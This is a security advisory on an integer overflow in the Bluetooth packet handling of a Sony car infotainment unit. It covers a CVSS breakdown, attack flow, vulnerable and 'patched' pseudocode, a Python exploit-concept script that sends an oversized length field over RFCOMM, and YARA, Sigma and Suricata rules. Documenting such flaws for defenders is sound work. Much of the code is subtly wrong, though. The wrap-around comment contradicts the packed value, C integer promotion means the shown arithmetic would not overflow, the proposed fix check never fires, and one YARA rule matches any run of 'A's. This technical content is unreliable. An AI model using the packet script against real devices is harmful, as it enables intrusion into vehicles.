CVE-2025-5475

Executive Summary

CVE-2025-5475 is a critical integer overflow vulnerability in the Bluetooth packet handling of the Sony XAV-AX8500 in-car infotainment system. An attacker who can pair a malicious Bluetooth device with the target can trigger an integer overflow before a memory write operation, leading to remote code execution in the context of the elysian-bt-service process. The vulnerability has a CVSS score of 7.5 (High) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the impact is severe for affected users.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a proprietary Sony embedded system. No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (AV:A) – Requires Bluetooth proximity.
• Attack Complexity (AC): Low (AC:L) – No special conditions needed beyond pairing.
• Privileges Required (PR): None (PR:N) – No prior authentication needed.
• User Interaction (UI): Required (UI:R) – Victim must pair the attacker’s device.
• Scope (S): Unchanged (S:U) – Exploit stays within the same security authority.
• Confidentiality (C): High (C:H) – Full data access possible.
• Integrity (I): High (I:H) – Arbitrary code execution.
• Availability (A): High (A:H) – Potential denial of service or full compromise.

Threat Level: High – Exploitation requires physical proximity and user interaction, but once paired, code execution is trivial.

Deep Dive & Mechanics

The vulnerability resides in the Bluetooth packet handling routine of the elysian-bt-service process on the Sony XAV-AX8500. When processing incoming Bluetooth packets, the software fails to validate the size of user-supplied data before using it in a memory allocation or copy operation. This leads to an integer overflow: a large or crafted length value wraps around to a small value, causing a buffer allocation that is too small. Subsequent memory write operations then overflow the buffer, corrupting adjacent memory and allowing an attacker to overwrite function pointers or return addresses.

Root Cause: Lack of proper bounds checking on packet length fields before arithmetic operations. The integer overflow occurs when the length is multiplied or added to a base value, resulting in a small positive integer that passes validation but leads to a heap or stack buffer overflow.

Attack Flow:

1. Attacker pairs a malicious Bluetooth device with the Sony XAV-AX8500.
2. Attacker sends a specially crafted Bluetooth packet with an oversized length field.
3. The elysian-bt-service process processes the packet, triggering an integer overflow.
4. The overflow causes a buffer to be allocated too small.
5. Attacker-controlled data overwrites critical memory structures.
6. Code execution is achieved in the context of the elysian-bt-service process.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical fix would involve adding integer overflow checks before memory operations.

Vulnerable Code (C-like pseudocode):

void process_bluetooth_packet(Packet *pkt) {
    uint16_t length = pkt->length;
    uint8_t *buffer = malloc(length + HEADER_SIZE); // Integer overflow possible
    if (buffer == NULL) return;
    memcpy(buffer, pkt->data, length); // Overflow write
    // ... process buffer
}

Patched Code (Hypothetical):

void process_bluetooth_packet(Packet *pkt) {
    uint16_t length = pkt->length;
    if (length > MAX_PACKET_SIZE || (length + HEADER_SIZE) < length) {
        // Integer overflow detected
        return;
    }
    uint8_t *buffer = malloc(length + HEADER_SIZE);
    if (buffer == NULL) return;
    memcpy(buffer, pkt->data, length);
    // ... process buffer
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Bluetooth-capable device (e.g., Raspberry Pi with Bluetooth adapter).
• Python 3 with pybluez or similar library.
• Target Sony XAV-AX8500 in pairing mode.

Exploit Concept (No public code available):

import bluetooth
import struct

target_addr = "XX:XX:XX:XX:XX:XX"  # Target MAC
sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
sock.connect((target_addr, 1))

# Craft packet with oversized length to trigger integer overflow
# Length field = 0xFFFF + 1 -> wraps to 0
packet = b"\x00" * 4  # Header
packet += struct.pack(">H", 0xFFFF)  # Length field
packet += b"A" * 0x1000  # Payload

sock.send(packet)
sock.close()

Note: This is a conceptual example. Actual exploitation requires reverse engineering the firmware to determine exact offsets and payload structure.

Blue Team

Detection Strategy:

• Monitor Bluetooth pairing events and packet sizes.
• Look for anomalous Bluetooth packets with extremely large or malformed length fields.
• Use network monitoring tools to capture Bluetooth traffic (e.g., Ubertooth, Wireshark with BTLE plugin).

Lab Setup:

• Sony XAV-AX8500 in a Faraday cage to isolate RF.
• Bluetooth sniffer (e.g., Ubertooth One) to capture packets.
• Python script to replay and fuzz packets.

Indicators of Compromise (IOCs)

• Network: Bluetooth packets with length fields > 0x7FFF or causing integer overflow.
• Process: elysian-bt-service crash or abnormal memory usage.
• File: Unexpected files written to /tmp/ or /var/ on the device.
• Log: System logs showing Bluetooth stack errors or memory corruption.

Example IOC (YARA rule for memory):

rule CVE_2025_5475_Memory_Overflow {
    meta:
        description = "Detects memory patterns from CVE-2025-5475 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $overflow_pattern = { 41 41 41 41 41 41 41 41 } // 'AAAAAAAA' overflow
    condition:
        $overflow_pattern
}

Detection Engineering

YARA Rule

rule CVE_2025_5475_Bluetooth_Packet {
    meta:
        description = "Detects malicious Bluetooth packets targeting CVE-2025-5475"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $length_overflow = { FF FF } // 0xFFFF length field
        $header_magic = { 00 00 00 01 } // Example header
    condition:
        $header_magic at 0 and $length_overflow at 4
}

Sigma Rule

title: CVE-2025-5475 Bluetooth Packet Anomaly
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects oversized Bluetooth packets indicative of CVE-2025-5475 exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: bluetooth
    product: linux
detection:
    selection:
        packet_length: 0xFFFF
    condition: selection
falsepositives:
    - Legitimate Bluetooth firmware updates
level: high

Suricata Rule

alert bluetooth any any -> any any (msg:"CVE-2025-5475 Bluetooth Integer Overflow Attempt"; content:"|FF FF|"; offset:4; depth:2; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Bluetooth on the Sony XAV-AX8500 if not required.
2. Avoid pairing unknown or untrusted Bluetooth devices.
3. Monitor for firmware updates from Sony.

Long-term Fix:

• Sony must release a firmware update that adds integer overflow checks in the Bluetooth packet handling routine.
• Implement input validation for all packet length fields.

Workaround:

• Use a Bluetooth firewall or disable Bluetooth service via device settings.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules to monitor for exploitation attempts.

Valters IT
Securing Digital Frontiers